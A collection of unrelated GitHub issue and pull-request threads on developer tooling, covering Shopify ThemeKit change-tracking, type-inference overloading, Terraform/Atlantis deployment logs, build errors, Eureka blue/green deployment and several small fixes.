I know git changes file timestamps. This means that any time you checkout another branch it will change the timestamps.
There is a problem with just checking the difference of time stamps because it would require you to be strict about checking them before you edit anything which is basically more of a hassle than just creating a branch, downloading and merging. Which is what you would have to do anyways if you forgot to download before you started editing the theme.
I could list the assets changed time from the server but not the user who made the change because it is not available through the API (and potentially sensitive data that would not be available to all users).

With all this in consideration I would say you are better off just adding file filters (*.mp4, *.png, *.gif, ect...) so that your largest files that are unlikely to be edited are not downloaded in the process.
I could also add an extra list command that could list the info like @monting originally suggested but I could make it so that it could list themes as well as assets and their updated time. This may be possibly useful but not sure how useful.

I don't have the same problem as OP but I'm interested in having some kind of user extension feature. I haven't really thought it through completely, but what do you guys think about something like Git hooks?
Example:

$ theme upload templates/page.liquid
execute some shell script
script returns 0 to continue uploading, else exit

This is my use case:

$ theme watch --env=feature-branch-1
file changes
only upload if the current Git branch is feature-branch-1

@tanema It seems like this is not an easy fix. I continue to run into issues though, even if I follow the approach outlined by @illarionvk. When I do a full theme download, git puts the file updated at time as the download time instead of when the file was actually modified. This means it's possible that my local changes (which happened later) do not get merged in properly, meaning I have to be very careful at this point that I'm not losing my changes. Maybe there is no good solution that you can implement to help with this. So far it has forced me to a lot of copying and pasting instead of merging, which means I have a lot less confidence that things are correct.
Is there a way to get notified by the Shopify API when a file has changed? If so, we might be able to use that to keep a local branch up to date with the theme in Shopify.

As far as I know, Shopify API has notifications only for theme-level events:
Webhook API reference

Has anyone worked with the theme/update webhook before? It looks like the only info you get back is the about the theme itself, nothing showing what was updated in the theme.

I would say from developing with these webhooks that you can not make anything time dependant on them and they don't always show up. Also themes/updateis only meant to convey that the theme was updated and prompt you to pull down the theme.

@tanema how about instead of timestamps, keeping locally, a SHA hash for each file that's uploaded, and when downloading a file, you can check the downloaded file's SAH hash against the local hash?

@monting That is a good idea I will have to talk to the API people though, I am not sure they will love the idea but we will see.

APIs people say no but I have reported the problem to the Theme's theme and they are thinking on it. The main problem with adding the checksums would be that they would need to be added on file creation/update. So for it to be fully supported it would need to be backfilled on all the assets on shopify which would be a monumental task.

@tanema yeah having the checksum on the backend would be ideal, but clearly monumental. While less than ideal, it can all be done on the client-side.
E.g.
theme upload --strict templates/x.liquid templates /y.liquid would download the 2 files from remote, compare their checksums with locally saved checksum of previously uploaded version of the files, and then error out if they don't match. If they do match, upload the file, and update the locally saved checksum of last uploaded version.

Great discussion. I've also ran into this issue and have had to do some not-so-great workarounds to make sure I'm not overwriting admin changes when I deploy new code:

We keep ALL (even product page text) in the locales/en.default.json file*.
I develop on a different store so that I can make sweeping changes without affecting the live store, and then deploy the whole theme package to the live store.
What this means is that I can't allow my team to update the en.default.json file on the live site, for fear of overwriting their changes when I deploy new code. They must make text updates on the development store and thus it's part of my deployment to the live store. It makes it so that they're dependent on me deploying code to update text.
This also applies to using the new Shopify Sections feature, since that is also stored in JSON files in the theme config.

I know this is a really non-standard setup, so I haven't complained too much. But if this could somehow be figured out, it would really help me and my team out a bit.
*The reason for this is because each product page has a completely different layout, since we have a small amount of products that we want to be able highlight unique features. Doing something like this just isn't possible, as far as I can tell, by just using the product description box in the admin.

@frehner If you are tracking your changes in Git, you can setup a second environment in your ThemeKit config for your live store and use it to download your team's changes.
Download your team's changes before deploying, then merge them with your code using a diff tool.
A good diff tool would help a lot, please take a look at Kaleidoscope, Changes, or DeltaWalker.

@illarionvk thanks. I am tracking the changes locally in git, so that part is good. The only issue I have is the following situation:

I pull down their changes
I validate it, diff it, commit it, and and merge it into master
While that happens, they make more changes
I deploy to the website

In this case, I've just overwritten their latest changes and no one may notice for awhile.
I didn't want to have to deal with that sort of situation, so that's why I'm doing what I do now.
But thank you very much for the suggestion! It's got me thinking again on how to best solve this problem.

I am talking to the API developers about exposing some sort of checksum still. Hopefully we can make themekits operations safer.

@frehner What we do with our clients is give them a changes blackout window where content is "frozen" while we stage and deploy. If something does need to go out in that time it is handed to us to integrate.
@tanema would a stop gap for checksums be the size attribute for assets in assets.json? I know it wouldn't be nearly as full-proof but it could be put behind an --experimental flag for the time being vet how this would work.

@chryton Yeah, it was either do it that way or do it the way I currently do it. I decided that doing it the way I'm currently doing it is better for how my team works, but both cases are not ideal.
And for the moment, I can't think of how this could be better handled -- that is, how to allow a team to update the locales' and section's .json files and deploy new code/changes without overwriting what they did.

Hey guys,
I believe checksum attached to an asset would be a pretty great addition to the Asset API. We built an app (Motifmate) that already support detecting remote changes and display the difference to avoid overwrite (Diff Viewer).
Although we think this is good enough for now, we feel this workaround is still expensive as we need to download the remote asset first.
+1 for exposing some sort of checksum!

Hey all I thought I would give you an update on this issue. Since the theme API devs already have a custom checksum computed for shopify assets, what we are looking at doing is sending this checksum out with the file data as a version attribute. So when updating a file, the checksum can be passed back to the server and it will respond with a 409 if the file is different than the file you are expecting to update.
This means that with theme kit I will be able to

save the checksums (somewhere I have not decided yet, open to input)
on upload and watch I would pass the checksum along with the update information.
if the file is newer than the one we are expecting (we receive a 409 response) then I have two options

prompt you to overwrite.
display an error prompting you to re-download the file
re-download the file overwriting your changes
[extra hard] try and merge the two before uploading again

Any feedback on this process would be appreciated and very helpful! Cheers!
Extra Notes It was decided to do it this way because the sums already existed but using a custom hashing function so users cannot compute the sum themselves. Also this allows for future stability if the computation of the checksum changes.
@hdytsgt I hope this will also enable motifmate to have better file change protection as well, please let me know how this process sounds to you as well.

I think option #2 of displaying an error and prompting to redownload might fit the most use cases since we will need to consider build tools and processes like Slate and how that might affect their output.

Yes I agree however if you are using watch you definitely do not want to stop the command, run download then start watch again. The best option may be that I implement a few of these behaviours and have a flag to decide which should be used.

True, flags may be best. That way at least a user get the flexibility to do what they need.
I know our development process at Rocket Code does not use themekit's watch so while it'd be inconvenient, it would be a nice safeguard to have available if it isn't the default.

Great news! I would prefer a no-prompt fail action that logs a warning and outputs .diff file, because I might want to keep my Git working copy changes.

I thought I would give you an update on this process. I have a WIP PR open that is starting to work pretty well and should have a beta open. Please give me your feedback on the current design, you don't need to review the code just the design notes laid out in the PR. I think I have struck a pretty good balance on how to handle the errors for this as well as added some optimizations to themekit as a whole as a result of this work.

I read through some of this thread but just want to poke in to say, at least it would be nice if the download only downloaded files that have been updated instead of downloading the entire theme every time. Simply checking against a timestamp would be enough wouldn't it?
Even during the dev process by myself, sometimes it makes more sense to make changes in the shopify console than in code and it's pretty annoying to have to redownload the entire thing for almost nothing.

@allthetime If you know which particular files were changed, you can download them individually. For example, run this command to download two files only:
theme download templates/product.liquid snippets/header.liquid

@allthetime This work is in progress on the open WIP PR. "checking against a timestamp" is non trivial when VCS systems come into play because when a branch is checked out, all of the files times are changed. So the only way to do that is to keep a record of all the times which I was not willing to do to just speed up a single command. However now that I have implemented version checking which creates a file to keep track of versions, this enables me to speed all commands that interact with the shopify servers.

On a first pass the design looks solid. A couple of questions:

Is the "Serialized themekit data format" an example of what is going in the theme.lock? If not, what are you planning on having it look like?
Would it be helpful for the preflight output to show the date/time for updated files?

@chryton Yes that is what the contents of the theme.lock file look like. And yes I can add the timestamps to the diff that is a pretty good idea.

And the timestamps will be in server/Shopify time, correct?

yes

Hey all 👋 . We have reached a reasonably stable state, If anyone would like to help beta test this feature you can update to the release candidate by running theme update --version=v0.0.0-rc0.7.0
There is still one main pain point to be aware of but I am not sure how often it is actually encountered. The problem is that flags and environment variables kind of change with this version. Since the command will now load every environment to check asset versions, the flags and environment variables will get applied to all the environments making some values not make sense. For instance it would not make sense for a password to be applied across all environments. Flags and env vars may have to be applied to active environments only. There is also a question if I should throw an error or just log a warning about not being able to load an environment for checking. I would love feedback on how often you use flags like --password and --themeid on commands like upload/replace/watch
Thanks for all of your help so far on this issue!

Hey All, the changes have been merged and will be deployed sometime this week. I just want to make sure that everything is functional. So please make sure that you try out the sometime soon and report any issues.

Hey thanks for this improvement. Has anyone written a post about how to use several environments and the new theme.lock function? The theme.lock page on github is full of information but an example of workflow would be welcome ;)

@BrunoBoehm I will contact the Shopify documentation team about helping me with that soon.

Ok @tanema ! So from what I understand what you recommend based on themekit configuration page, is to have a dev environment (as an inactive theme - ignoring gifs, jpegs and settings_data file), a production environment (live theme), and maybe a test one if needed.
How do you recommend to push changes since the production env is "readonly" ?

Manually switching the dev theme to live theme would also switch settings_data.json...? not great
Removing manually the readonly and then doing a "theme upload" command? Would it only update the files based on theme.lock ?

Thanks in advance for your advice!

@BrunoBoehm that is not a recommended configuration, that is an example config with many options to show you examples of how to use them.
The idea of the read_only attribute is to make it actually a task to remove it from your config so you have to be very deliberate about deploying to that environment.

@tanema it's indeed a good safety. So I should remove "readonly" manually, and do a "theme upload", than put "readonly" back on ?
Would theme upload only load the files that have changed according to theme.lock ?
I used to switch the dev inactive theme to live theme, it's not optimal + erases settings_data.json. Have another idea ?

@BrunoBoehm please contact me at<EMAIL_ADDRESS>for further support on this.

Is this implemented? I don't see any notes on the documentation on how to use it? Or should it work by default?
I updated a page on Shopify Admin, then in local development and didn't see any warning?
Thanks.

@psmod2 This was removed because it was causing inconsistencies and difficulties. https://github.com/Shopify/themekit/issues/540


Update 4.x with the new test registry

This should be rather straightforward after #2119 is done.

No need to keep this as an issue, since this will already happen after the 4.x branch is updated with the latest master


Question about overloading

Hello! Thanks for your work, I'm using this as a guide for some work I'm doing, with some changes to accomodate some quirks of my language that don't fit lambda calculus precisely, for instance, functions have 0 or more parameters (instead of functions that return functions in lambda calculus) and if/else statements.
I wonder, though: How could this be adapted to support overloading? Suppose I want to support operators, such as +, -, *, /, and so on, but the + operator acts on many inputs:
Int -> String -> String (concatenation)
String -> int -> String (also concatenation)
String -> String -> String (also concatenation)
Int -> Int -> Int (sum)
for instance:
let plus = fn(a, b) => {
   a + b
} in plus(10, "20")

This fails because a + b only sees the t0 and t1 parameters I create on the fly, and this will unify with any of the 4 signatures, and I don't know exactly which one fits.
I'm currently trying a strategy of deferring for later (i.e. just return a new type variable and record the types involved and the possible signatures), then make the information at the call site somehow flow backwards, but so far no success.
I wonder if you can give me any directions on this issue.

Another thought that crossed my mind is:
When I access the function during a function call, VAR will first instantiate the plus  from the generalized Va Vb Vc -> a -> b -> c into d -> e -> f. Maybe I could then map it back to the original ungeneralized a -> b -> c, figure out a substitution a -> d, b -> e, c -> f,  and because I know the types int and string when evaluating the function arguments, perhaps it's possible to do a unification usingint -> string -> g if and only if I know that plus needs to be inferred in this contrived way...

My understanding (which is likely to be wrong! something something Cunningham's Law) is that the way languages like Haskell get around this is to really be defining different functions, and then you test whether any of them could work. For example in this case you say + is really +₁ (forall a where a is stringifyable. string -> a -> string), +₂ (forall a where a is stringifyable. a -> string -> string), +₃ (int -> int -> int) and it must resolve to one of these at compile time.
In your second example, the fact that it compiles means the constraints aren't being resolved correctly or the polymorphic type you've given it is wrong - e.g. the minus there should have type int -> int -> int, which when unifying with the result of the addition forces it to be an int, which only matches the int -> int -> int option for +, which means both a and b must be int
See also:

https://www.cs.tufts.edu/comp/150PLD/Notes/TypeClasses.pdf
https://wiki.haskell.org/Performance/Overloading

Thanks for the material!
I'm currently starting to learn OCaml and it already gives me some insights into how non-trivial this problem is under Hindley-Milner, not even OCaml really handles this. There are different operators depending on what you want.
 No wonder why Swift has some exponential behaviors around operators...
The way I thought about solving this problem is to branch off the solver when it finds an operation, i.e. tries int -> int -> int until the program is fully typed, if an error occurs then backtrack aalll the way back and try again with int -> string -> string, and so on. This is highly inefficient and perhaps it would be best to just generate the combinatoral explosion of possible functions, as I think that's how Swift kinda rolls but in a smarter way.

And I'd like to thank you again for the videos, awesome job!


Horizontal view ?

Is it possible to get a horizontal view of the network graph ?

Just to make it easy for anyone who finds this later:
graph = hl.build_graph(model, torch.zeros([1, 1, 64, 64, 64]))
dot=graph.build_dot()
dot.attr("graph", rankdir="TD") #Topdown
dot.attr("graph", rankdir="LR") #Left-Right

Thanks, @paland3 . That's a better solution than the one I suggested.


Update to @codingame/moanco-vscode-api version 2

Everythings works again expect  for monaco-editor-workers have been removed. This will be fixed with upcoming merge of monaco-editor-wrapper and the example alignment.
It already uses @codingame/esbuild-import-meta-url-plugin
I aligned the lint configuration with other TypeFox projects (the delta is not huge).
I will fully update the README when all other work is completed.

@CGNonofr I would like to continue the wrapper / example merge with this preview release and upgrade whenever there is something new.

@CGNonofr this is ready now. All doc updates will come later after the wrapper/example merge.


Generate shell task

Executing the shell task is creating some errors .
bin/cake bake proffer.proffer generate posts
Produces, Exception: SQLSTATE[42S22]: Column not found: 1054 Unknown column 'posts.image_dir' in 'field list' in [/var/www/domain.com/dev/website/vendor/cakephp/cakephp/src/Database/Statement/MysqlStatement.php, line 36]
Relates to #79

/cc @akkaweb
This seems to be because the image_dir field doesn't exist in the Posts table.
You'd need to check your behaviour configuration to ensure that you have a settings array which has the key of the upload field you are using.
For example,
// src/Model/Table/PostsTable.php
        $this->addBehavior('Proffer.Proffer', [
            'image' => [
                'dir' => 'image_dir',
                'thumbnailSizes' => [
                    'square' => ['w' => 100, 'h' => 100]
                ]
            ]
        ]);

This is the code which is generating the error
I have added a check for this to the shell so that if the configured fields don't exist in the schema, you'll be notified in the shell.

Resolved in https://github.com/davidyell/CakePHP3-Proffer/commit/f2988af22761896d6e7828365420324f89f545dd


launch my GCP instance

Ran Plan for dir: . workspace: default
Show Output
Terraform used the selected providers to generate the following execution
plan. Resource actions are indicated with the following symbols:
+ create

Terraform will perform the following actions:

  # google_compute_instance.default will be created
+ resource "google_compute_instance" "default" {
      + can_ip_forward       = false
      + cpu_platform         = (known after apply)
      + current_status       = (known after apply)
      + deletion_protection  = false
      + guest_accelerator    = (known after apply)
      + id                   = (known after apply)
      + instance_id          = (known after apply)
      + label_fingerprint    = (known after apply)
      + machine_type         = "e2-micro"
      + metadata_fingerprint = (known after apply)
      + min_cpu_platform     = (known after apply)
      + name                 = "atlantis-vm-dev"
      + project              = (known after apply)
      + self_link            = (known after apply)
      + tags                 = [
          + "dev",
          + "engineering",
        ]
      + tags_fingerprint     = (known after apply)
      + zone                 = "us-central1-a"

      + boot_disk {
          + auto_delete                = true
          + device_name                = (known after apply)
          + disk_encryption_key_sha256 = (known after apply)
          + kms_key_self_link          = (known after apply)
          + mode                       = "READ_WRITE"
          + source                     = (known after apply)

          + initialize_params {
              + image  = "projects/ubuntu-os-cloud/global/images/ubuntu-2204-jammy-v20221014"
              + labels = {
                  + "env" = "dev"
                }
              + size   = (known after apply)
              + type   = (known after apply)
            }
        }

      + network_interface {
          + ipv6_access_type   = (known after apply)
          + name               = (known after apply)
          + network            = "default"
          + network_ip         = (known after apply)
          + stack_type         = (known after apply)
          + subnetwork         = (known after apply)
          + subnetwork_project = (known after apply)

          + access_config {
              + nat_ip       = (known after apply)
              + network_tier = (known after apply)
            }
        }
    }

Plan: 1 to add, 0 to change, 0 to destroy.

Changes to Outputs:
+ instance_id = (known after apply)
+ public_ip   = (known after apply)

:arrow_forward: To apply this plan, comment:

atlantis apply -d .

:put_litter_in_its_place: To delete this plan click here
:repeat: To plan this project again, comment:

atlantis plan -d .

Plan: 1 to add, 0 to change, 0 to destroy.

:fast_forward: To apply all unapplied plans from this pull request, comment:

atlantis apply

:put_litter_in_its_place: To delete all plans and locks for the PR, comment:

atlantis unlock

atlantis apply

Ran Apply for dir: . workspace: default
google_compute_instance.default: Creating...
google_compute_instance.default: Still creating... [10s elapsed]
google_compute_instance.default: Creation complete after 12s [id=projects/terraformprojects-365816/zones/us-central1-a/instances/atlantis-vm-dev]

Apply complete! Resources: 1 added, 0 changed, 0 destroyed.

Outputs:

instance_id = "2638781008753595842"
public_ip = "<IP_ADDRESS>"

Locks and plans deleted for the projects and workspaces modified in this pull request:

dir: . workspace: default


Preselect option in the view did load event

Hello, great control. I was just wondering if there is a way to preselect the first option on load?

same with my problem.

Agreed. Any answer to this question?


⚠ Mobitopup has degraded performance

In ad8fb11, Mobitopup (https://napcard.voz.tech) experienced degraded performance:

HTTP code: 200
Response time: 3797 ms

Resolved: Mobitopup performance has improved in 69c05c7.


Java 8 instead of 7?

Does the plugin work correctly on java 8?

All java 7 plugins work on java 8.

Does this work with HCFactions by drtshock?

It only works with worldguard right now :(.
I'l add factions support.


[BUG] Input value within EWW expressions

Checklist before submitting an issue

[X] I have searched through the existing closed and open issues for eww and made sure this is not a duplicate
[X] I have specifically verified that this bug is not a common user error
[X] I am providing as much relevant information as I am able to in this bug report (Minimal config to reproduce the issue for example, if applicable)

Description of the bug
Hello,
I wanted to use input and the onchange properties. However I need to be able to enter complex strings with potential bad characters. (I initially intended to use this input as password field).
So i tried to use eww expressions with replace function in order to escape char before using them in a command line. And it doesn't seems to work. I really don't understand the behavior.
           (input :class 'hidden_input' :onchange 'echo ${replace("AABB","A","X")}') => XXBB
           (input :class 'hidden_input' :onchange 'echo ${replace({},"A","X")}') => AABB even if {} is AABB
           (input :class 'hidden_input' :onchange 'echo ${replace({},".","X")}') => XX because "{}" is matched instead of it's value

Am i missing something ?
Reproducing the issue
The following input prints only XX
 (input :class 'hidden_input' :onchange 'echo ${replace({},".","X")}')

Expected behaviour
I think replace function should evaluate the actual value of {} instead of matching the characters "{}".
 (input :class 'hidden_input' :onchange 'echo ${replace({},".","X")}')

Should therefore print as many X as input length.
Additional context
I hope this bug is usefull, sorry to bother you if it's one of my one mistake.
This behavior has been observed on eww version 0.2.0

Currently, the way eww works is that the expression is first evaluated (so the string echo ${replace("AABB, "A", "X")} is turned into echo XXBB, and then passed to the input widget. Thus, currently there is no way to cleanly use the eww expression functions to change the placeholders in event handlers.
in #324, we're (among other things) working on a rework of these event handlers, in a way that will allow something like this in the future.

I'll close this issue for now, as it's not something that is gonna get improved before the larger rework of event handlers -- but it is going to happen!


macOS Big Sur, during CoreFX 3.1: "EXEC : error : include location '/usr/local/include' is unsafe for cross-compilation"

Hey, trying to build on macOS and have this error, no clue what to do.
...
    /Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/build-native.sh x64 Release OSX outconfig netcoreapp-OSX-Release-x64 -portable
    Setting up directories for build
    Checking pre-requisites...
    Commencing build of corefx native components for OSX.x64.Release
    Invoking "/Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/Unix/gen-buildsys-clang.sh" "/Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/Unix" "3" "9" "x64" "RELEASE" " -DFEATURE_DISTRO_AGNOSTIC_SSL=0 -DCMAKE_STATIC_LIB_LINK=0"
    -- Configuring done
    -- Generating done
    -- Build files have been written to: /Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/artifacts/obj/native/netcoreapp-OSX-Release-x64
    Executing make install -j 1
    [ 14%] Built target System.IO.Compression.Native-Static
    [ 28%] Built target System.IO.Compression.Native
    [ 30%] Built target System.IO.Ports.Native
    [ 32%] Built target System.IO.Ports.Native-Static
    [ 33%] Building C object System.Native/CMakeFiles/System.Native-Static.dir/pal_console.c.o
  EXEC : error : include location '/usr/local/include' is unsafe for cross-compilation [-Werror,-Wpoison-system-directories] [/Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/build-native.proj]
  ##vso[task.logissue type=error;sourcepath=EXEC;linenumber=0;columnnumber=0;code=;]include location '/usr/local/include' is unsafe for cross-compilation [-Werror,-Wpoison-system-directories%5D
    1 error generated.
    Failed to build corefx native components.
    make[2]: *** [System.Native/CMakeFiles/System.Native-Static.dir/pal_console.c.o] Error 1
    make[1]: *** [System.Native/CMakeFiles/System.Native-Static.dir/all] Error 2
    make: *** [all] Error 2
  /Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/build-native.proj(36,5): error MSB3073: The command ""/Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/build-native.sh" x64 Release OSX outconfig netcoreapp-OSX-Release-x64 -portable" exited with code 1.
  ##vso[task.logissue type=error;sourcepath=/Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/build-native.proj;linenumber=36;columnnumber=5;code=MSB3073;]The command ""/Users/metal/Downloads/source-build/artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/build-native.sh" x64 Release OSX outconfig netcoreapp-OSX-Release-x64 -portable" exited with code 1.

  Build FAILED.
...

I haven't seen anything like this before, and search results for the error point at cross-architecture compilation scenarios, which seems pretty odd to run into on macOS (without doing so very intentionally). My understanding is it's pretty uniformly x86-64 at the moment.
Can you give some more context about how you're building?

Where did you download /Users/metal/Downloads/source-build/ from exactly?
What build command did you run?
What version of macOS are you using?
Where did you get the build dependencies you're using?

If you can think of a way to summarize this. I'm not the most familiar with macOS setups.

@dagood thanks for reply 👍

I downloaded this repo
./build.sh
Big Sur Beta (20A5384c)
Homebrew package manager

I've managed to overcome this issue by deleting includes from this file ./artifacts/src/corefx.3009a1fc20d9cb47d117399040d31c23f7b23e02/src/Native/Unix/configure.cmake

Interesting... somehow, search wasn't able to find it for me with just the error message, but including Big Sur got me to this issue that appears to be the same as what you hit: https://github.com/dotnet/runtime/issues/41095. It looks like this is a known issue on a Clang 12 beta on macOS. I'd suggest trying to build https://github.com/dotnet/corefx/tree/release/3.1 without source-build (to confirm you also get the problem without the complicated source-build infra involved), and report it on that issue to alert the CoreFX owners.
Once it's fixed in CoreFX (our upstream) we'll get the fix in source-build as part of the next release.
Glad you were able to find a workaround for now, though.

Reopening: I suppose there's no need to close this--it seems like a good idea to keep it open here to track it for anyone hitting it in the future, which is more likely to happen in source-build than CoreFX itself. When Big Sur goes out of beta, this might become higher priority, for example.

[Triage] MacOS support is being officially added/tracked with https://github.com/dotnet/source-build/issues/3034


Figure out how to get CRD documentation from Terraform

What problem are you facing?
Currently fields don't have any documentation since most of TF providers do not fill Description field of the Schema objects.
How could Terrajet help solve your problem?
We should investigate how https://registry.terraform.io/providers/hashicorp/aws/latest/docs and other docs are produced and see how we can add description comments to generated fields.

https://github.com/crossplane-contrib/provider-jet-gcp/blob/release-0.1-preview/apis/cloudplatform/v1alpha1/zz_project_types.go
It seems like in some cases we do have this - I just noticed provider-jet-gcp seems to. Is this because they fill the Description when others don't?
On a related note, I was coming here to report that sometimes this commentary is misleading. For example at<EMAIL_ADDRESS>
The numeric ID of the organization this project belongs to. Changing this forces a new project to be created. Only one of org_id or folder_id may be specified. If the org_id is specified then the project is created at the top level. Changing this forces the project to be migrated to the newly specified organization.

I don't think we'll actually recreate a new project as this documentation states.

Just came across this issue and I think I've found where terraform documentation for provider resources are coming from:
All content seems to be living as markdown files under webside/docs in each provider repo:
https://github.com/hashicorp/terraform-provider-aws/tree/main/website/docs
https://github.com/hashicorp/terraform-provider-google/tree/master/website/docs
https://github.com/hashicorp/terraform-provider-azurerm/tree/main/website/docs
For example, documentation for aws_instance is here: https://github.com/hashicorp/terraform-provider-aws/blob/main/website/docs/r/instance.html.markdown

I just noticed provider-jet-gcp seems to. Is this because they fill the Description when others don't?

@negz Yes, that's the case. GCP fills Description while AWS doesn't.

I don't think we'll actually recreate a new project as this documentation states.

Here is the fix https://github.com/crossplane-contrib/provider-jet-gcp/pull/10

A relevant proposal's reference: https://github.com/crossplane/crossplane/pull/2956


Update Get-SPMicrofeedOptions.md

Fill in placeholder

:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

sharepoint/sharepoint-ps/sharepoint-server/Get-SPMicrofeedOptions.md
:white_check_mark:Succeeded
View (sharepoint-ps)

For more details, please refer to the build report.
Note: If you changed an existing file name or deleted a file, broken links in other files to the deleted or renamed file are listed only in the full build report.


Modify upgrader to error if 'tserver.last.location.mode' is set

#3926 removed this property. Modify the upgrader to fail if the property is set. We may want to consider just generically failing the upgrade if any property is set that no longer exists?

Is it really worth failing? Maybe this should just be a warning that an unrecognized property exists, and that perhaps it was one that was removed?

Is it really worth failing? Maybe this should just be a warning that an unrecognized property exists, and that perhaps it was one that was removed?

Do you think this should be a warning for all unknown properties?

Is it really worth failing? Maybe this should just be a warning that an unrecognized property exists, and that perhaps it was one that was removed?

Do you think this should be a warning for all unknown properties?

I'm not sure. I thought we already had something like that.

Found the following in the code

I'm not sure. I thought we already had something like that.

https://github.com/apache/accumulo/blob/df362efeee3113d3e3c23ff6f6778f394a588363/core/src/main/java/org/apache/accumulo/core/conf/SiteConfiguration.java#L204
https://github.com/apache/accumulo/blob/df362efeee3113d3e3c23ff6f6778f394a588363/server/base/src/main/java/org/apache/accumulo/server/conf/ServerConfigurationFactory.java#L118
So maybe warns are logged when tables or site configs have props that do not validate.  Not related to this PR, but wondering if the system config in ZK should also be validated.

Not related to this PR, but wondering if the system config in ZK should also be validated.

opened #3978 to address this


cronjob status: Collect LastSuccessfulTime

What does this PR do?
https://datadoghq.atlassian.net/browse/CAP-1576
Depends on https://github.com/DataDog/agent-payload/pull/295.
This pull requests collects the new cronjob status field LastSuccessfulTime.

Motivation

Additional Notes

Possible Drawbacks / Trade-offs

Describe how to test/QA your changes

/merge

/merge


Blue/Green Deployment - Eureka Client De-registration Cycle

I'm currently working on Blue/Green Deployment with Spring Boot + Spring Cloud Eureka in AWS
What is the best practise to de-registration old client from Eureka Server withoutinterrupt existing requests in progress?
My objective was to have the ability of Connection Draining provided by AWS's ELB
https://aws.amazon.com/blogs/aws/elb-connection-draining-remove-instances-from-service-with-care/

May related to #1290 if you not already read it you may find some part of solution.

@huhuhong can you provide specifics around how the requests are being made and how they are failing?

I was using AWS ASG (Auto scaling group) Swap behind AWS ELB as Blue/Green Deployment Strategy
Imagine below is my Eureka client list :
before deployment:

Service_A_BLUE
during deployment:
Service_A_BLUE
- Service_A_Green -- added
after deployment
- Service_A_BLUE  -- removed
Service_B_Green

During the process of removing Service_A_Blue, how can i safely remove it by allowing in progress request to completed before i actually shut it down?
My current plan was to mark all Service with Blue Tag as OUT_OF_SERVICE Take instance out of service,
then wait for x seconds to make sure existing request was served completely.
Any comment on this?

I think your approach is correct, although I don't think you need to wait x seconds before shutting down the service.  I don't think you will be able to guarantee that a request is not in progress when you shut it down.  For that reason the service should be able to retry failed requests on the next available instance.  There is retry logic available in various components of Spring Cloud (Ribbon, Feign, and Zuul).  We have been overhauling the logic used by these components in the Camden release train to centralize on using Spring Retry.  Ribbon should already be using Spring Retry.  There is a PR for Feign (https://github.com/spring-cloud/spring-cloud-netflix/pull/1457), and I will be working on Zuul next.

i found an alternative way by using /pause, /resume actuator endpoint.
I will /pause all the Service_A_BLUE as "DOWN" after up all the Service_B_Green as "UP"
Once everything work well, then only i shut down Service_A_Blue.
In the case of rollback, i will /resume all the Service_A_Blue and /pause then shut down all the Service_B_Green
Any thought?

I think that might work well.

@huhuhong beware of https://github.com/spring-cloud/spring-cloud-netflix/issues/1443 if you are running Brixtion.SR7 or earlier


ValueError: Using default_file_mode other than 'r' is no longer supported. Pass the mode to h5py.File() instead. JAX branch.

Hi, I am trying to run (with the JAX branch):
ferminet --config ferminet/configs/atom.py --config.system.atom Li --config.batch_size 256 --config.pretrain.iterations 100

I am getting this error:

ValueError: Using default_file_mode other than 'r' is no longer supported. Pass the mode to h5py.File() instead.

Here is the full error:

Traceback (most recent call last):
File "/home/ben/miniconda3/envs/sch_eqn/bin/ferminet", line 7, in
exec(compile(f.read(), file, 'exec'))
File "/home/ben/Documents/sch_eqn/ferminet_jax/bin/ferminet", line 21, in
from ferminet import train
File "/home/ben/Documents/sch_eqn/ferminet_jax/ferminet/train.py", line 25, in
from ferminet import hamiltonian
File "/home/ben/Documents/sch_eqn/ferminet_jax/ferminet/hamiltonian.py", line 17, in
from ferminet import networks
File "/home/ben/Documents/sch_eqn/ferminet_jax/ferminet/networks.py", line 21, in
from ferminet.utils import scf
File "/home/ben/Documents/sch_eqn/ferminet_jax/ferminet/utils/scf.py", line 38, in
import pyscf
File "/home/ben/miniconda3/envs/sch_eqn/lib/python3.7/site-packages/pyscf/init.py", line 71, in
from pyscf import lib
File "/home/ben/miniconda3/envs/sch_eqn/lib/python3.7/site-packages/pyscf/lib/init.py", line 24, in
from pyscf.lib import numpy_helper
File "/home/ben/miniconda3/envs/sch_eqn/lib/python3.7/site-packages/pyscf/lib/numpy_helper.py", line 27, in
from pyscf.lib import misc
File "/home/ben/miniconda3/envs/sch_eqn/lib/python3.7/site-packages/pyscf/lib/misc.py", line 46, in
h5py.get_config().default_file_mode = 'a'
File "h5py/h5.pyx", line 179, in h5py.h5.H5PYConfig.default_file_mode.set
ValueError: Using default_file_mode other than 'r' is no longer supported. Pass the mode to h5py.File() instead.

This is fixed upstream in pyscf but is not released on PyPI. For now, please pin the version of h5py (see #31, which we'll merge soon).


fix(react): useProperty didn't subscribed in Strict mode

When we use React.Strict mode, all pure effects useMemo \ useCallback etc calls two times.
This breaks useProperty hook.

Let's add some tests here

Tests added.


Refine the server-side apply installation args

What this PR does / why we need it:
The =true is not needed.
Which issue(s) this PR fixes (optional, in Fixes #<issue number>, #<issue number>, ... format, will close the issue(s) when PR gets merged):
Fixes #
Checklist:

[ ] Docs included if any changes are user facing

cc: @astefanutti
/assign @kubeflow/wg-training-leads

Pull Request Test Coverage Report for Build<PHONE_NUMBER>5
Details

0 of 0   changed or added relevant lines in 0 files are covered.
No unchanged relevant lines lost coverage.
Overall first build on refine-installation-docs at 100.0%

Totals

Change from base Build<PHONE_NUMBER>7:
100.0%

Covered Lines:
77

Relevant Lines:
77

💛  - Coveralls


Update requirements

@edx/ospr

Current coverage is 33.07% (diff: 100%)

Merging #84 into master will not change coverage

@@             master        #84   diff @@
==========================================
  Files            14         14
  Lines          1016       1016
  Methods           0          0
